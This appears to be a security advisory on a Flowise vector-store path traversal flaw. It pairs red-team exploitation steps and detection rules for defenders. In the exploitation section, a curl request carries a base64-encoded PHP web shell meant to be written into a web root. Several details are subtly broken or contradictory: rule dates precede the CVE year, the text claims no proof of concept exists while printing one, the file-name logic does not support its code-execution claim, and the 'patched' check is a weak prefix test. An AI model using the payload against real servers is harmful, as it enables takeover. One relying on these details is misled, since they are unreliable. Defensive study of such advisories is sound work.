CVE-2026-56273

Executive Summary

CVE-2026-56273 is a critical path traversal vulnerability in Flowise, an open-source low-code platform for building LLM applications. The flaw resides in the Faiss and SimpleStore vector store implementations, which accept unsanitized basePath parameters from authenticated users. An attacker with a valid API token can write vector store data to arbitrary filesystem locations, potentially leading to remote code execution or data exfiltration. The vulnerability affects all versions of Flowise prior to 3.1.0. No public proof-of-concept (PoC) or exploit code has been released at this time.

Supply Chain & Package Security

Flowise is distributed as an npm package (flowise). Organizations using Flowise should verify their installed version and ensure no compromised dependencies are present. The vulnerability is in the core application code, not in a third-party package, but the supply chain risk is elevated due to the potential for arbitrary file writes.

CVSS Breakdown & Threat Level

CVSS Score: 9.9 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – An attacker needs a valid API token (authenticated user).
• User Interaction (UI): None – No user action is needed.
• Scope (S): Unchanged – The vulnerable component and the affected resource are the same.
• Confidentiality (C): High – Arbitrary file write can lead to data exfiltration.
• Integrity (I): High – Attackers can overwrite critical files.
• Availability (A): High – Code execution can lead to denial of service.

Threat Level: Critical. The combination of low attack complexity and high impact makes this vulnerability highly dangerous.

Deep Dive & Mechanics

The vulnerability is a classic path traversal (CWE-22) in the Faiss and SimpleStore vector store implementations. These components are used to persist and retrieve vector embeddings. The basePath parameter, which specifies the directory where vector store data is written, is not sanitized. An authenticated attacker can supply a basePath value containing ../ sequences to escape the intended storage directory and write files to arbitrary locations on the filesystem.

Attack Flow:

1. The attacker obtains a valid API token (e.g., through credential theft, insider threat, or another vulnerability).
2. The attacker sends a crafted API request to the vector store endpoint, setting the basePath parameter to a malicious value like ../../../../etc/.
3. The application writes vector store data (e.g., serialized objects) to the attacker-controlled path.
4. If the attacker can write a file with executable content (e.g., a PHP or Python script) to a web-accessible directory, they can achieve remote code execution.

Root Cause: Lack of input validation on the basePath parameter. The application does not check for path traversal sequences or enforce that the path stays within a designated sandbox directory.

Vulnerable vs. Patched Code

Vulnerable Code (Flowise < 3.1.0):

// In vector store implementation (e.g., FaissStore.js)
async function saveVectorStore(data, basePath) {
  const fullPath = path.join(basePath, 'index.faiss');
  await fs.writeFile(fullPath, data);
}

Patched Code (Flowise >= 3.1.0):

// In vector store implementation (e.g., FaissStore.js)
const ALLOWED_BASE = '/var/flowise/vectorstores';

async function saveVectorStore(data, basePath) {
  const resolvedPath = path.resolve(basePath);
  if (!resolvedPath.startsWith(ALLOWED_BASE)) {
    throw new Error('Invalid basePath: must be within allowed directory');
  }
  const fullPath = path.join(resolvedPath, 'index.faiss');
  await fs.writeFile(fullPath, data);
}

The patch adds a path resolution check to ensure the final path is within a predefined allowed directory.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A valid API token for the Flowise instance.
• Network access to the Flowise API endpoint.

Exploitation Steps:

1. Identify the vector store API endpoint (e.g., /api/v1/vectorstore/faiss).
2. Craft a POST request with a malicious basePath:

   {
     "basePath": "../../../../tmp/evil",
     "data": "base64_encoded_malicious_content"
   }
   

3. The application writes the data to /tmp/evil/index.faiss.
4. If the web server serves static files from /tmp/evil, the attacker can access the file via HTTP and potentially execute code if the file is interpreted (e.g., a .php or .jsp file).

Example cURL Command:

curl -X POST https://target-flowise.com/api/v1/vectorstore/faiss \
  -H "Authorization: Bearer <API_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"basePath": "../../../../var/www/html/", "data": "PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+"}'

Blue Team

Detection:

• Monitor for API requests with basePath parameters containing ../ or absolute paths.
• Alert on file write operations outside the expected vector store directory.
• Use file integrity monitoring (FIM) to detect unauthorized changes to critical system files.

Hunting:

• Search logs for basePath values that do not start with the allowed prefix.
• Look for unusual files in web-accessible directories (e.g., .php, .jsp, .py files that were not deployed by the development team).

Indicators of Compromise (IOCs)

• File Paths:
  • /tmp/evil/index.faiss
  • /var/www/html/shell.php
  • Any file written to /etc/, /usr/share/, or other sensitive directories.
• API Requests:
  • POST requests to /api/v1/vectorstore/faiss or /api/v1/vectorstore/simplestore with basePath containing ../.
• Log Entries:
  • Errors related to file write operations outside the allowed directory.
  • Unusual file creation timestamps in system directories.

Detection Engineering

YARA Rule

rule CVE_2026_56273_Flowise_Path_Traversal {
  meta:
    description = "Detects path traversal attempts in Flowise vector store API requests"
    author = "Valters IT"
    date = "2025-04-10"
    reference = "CVE-2026-56273"
  strings:
    $traversal = /basePath[\s]*:[\s]*["'][^"']*\.\.\// nocase
    $faiss = /vectorstore\/faiss/i
    $simplestore = /vectorstore\/simplestore/i
  condition:
    any of ($faiss, $simplestore) and $traversal
}

Sigma Rule

title: Flowise Path Traversal Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects path traversal attempts in Flowise vector store API requests
author: Valters IT
date: 2025-04-10
references:
  - CVE-2026-56273
logsource:
  category: webserver
  product: apache
  service: access_combined
detection:
  selection:
    cs-method: 'POST'
    cs-uri-stem:
      - '/api/v1/vectorstore/faiss'
      - '/api/v1/vectorstore/simplestore'
    cs-uri-query|contains: 'basePath'
  condition: selection
falsepositives:
  - Legitimate use of nested directories (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
  msg:"CVE-2026-56273 Flowise Path Traversal Attempt";
  flow:to_server,established;
  content:"POST"; http_method;
  content:"/api/v1/vectorstore/"; http_uri;
  content:"basePath"; http_client_body;
  pcre:"/basePath[\s]*:[\s]*["'][^"']*\.\.\//i";
  sid:1000001;
  rev:1;
  reference:cve,2026-56273;
  classtype:attempted-admin;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Flowise to version 3.1.0 or later.
2. If upgrade is not possible, restrict API access to trusted IPs only.
3. Implement a Web Application Firewall (WAF) rule to block requests containing ../ in the basePath parameter.

Long-term Fixes:

• Apply input validation and sanitization to all user-supplied file paths.
• Use a sandboxed directory for vector store data and enforce strict path checks.
• Conduct a security audit of all API endpoints that accept file paths.

Detection:

• Deploy the provided YARA, Sigma, and Suricata rules.
• Enable detailed logging for all API requests and file operations.
• Set up alerts for any file writes outside the designated vector store directory.

Valters IT
Securing Digital Frontiers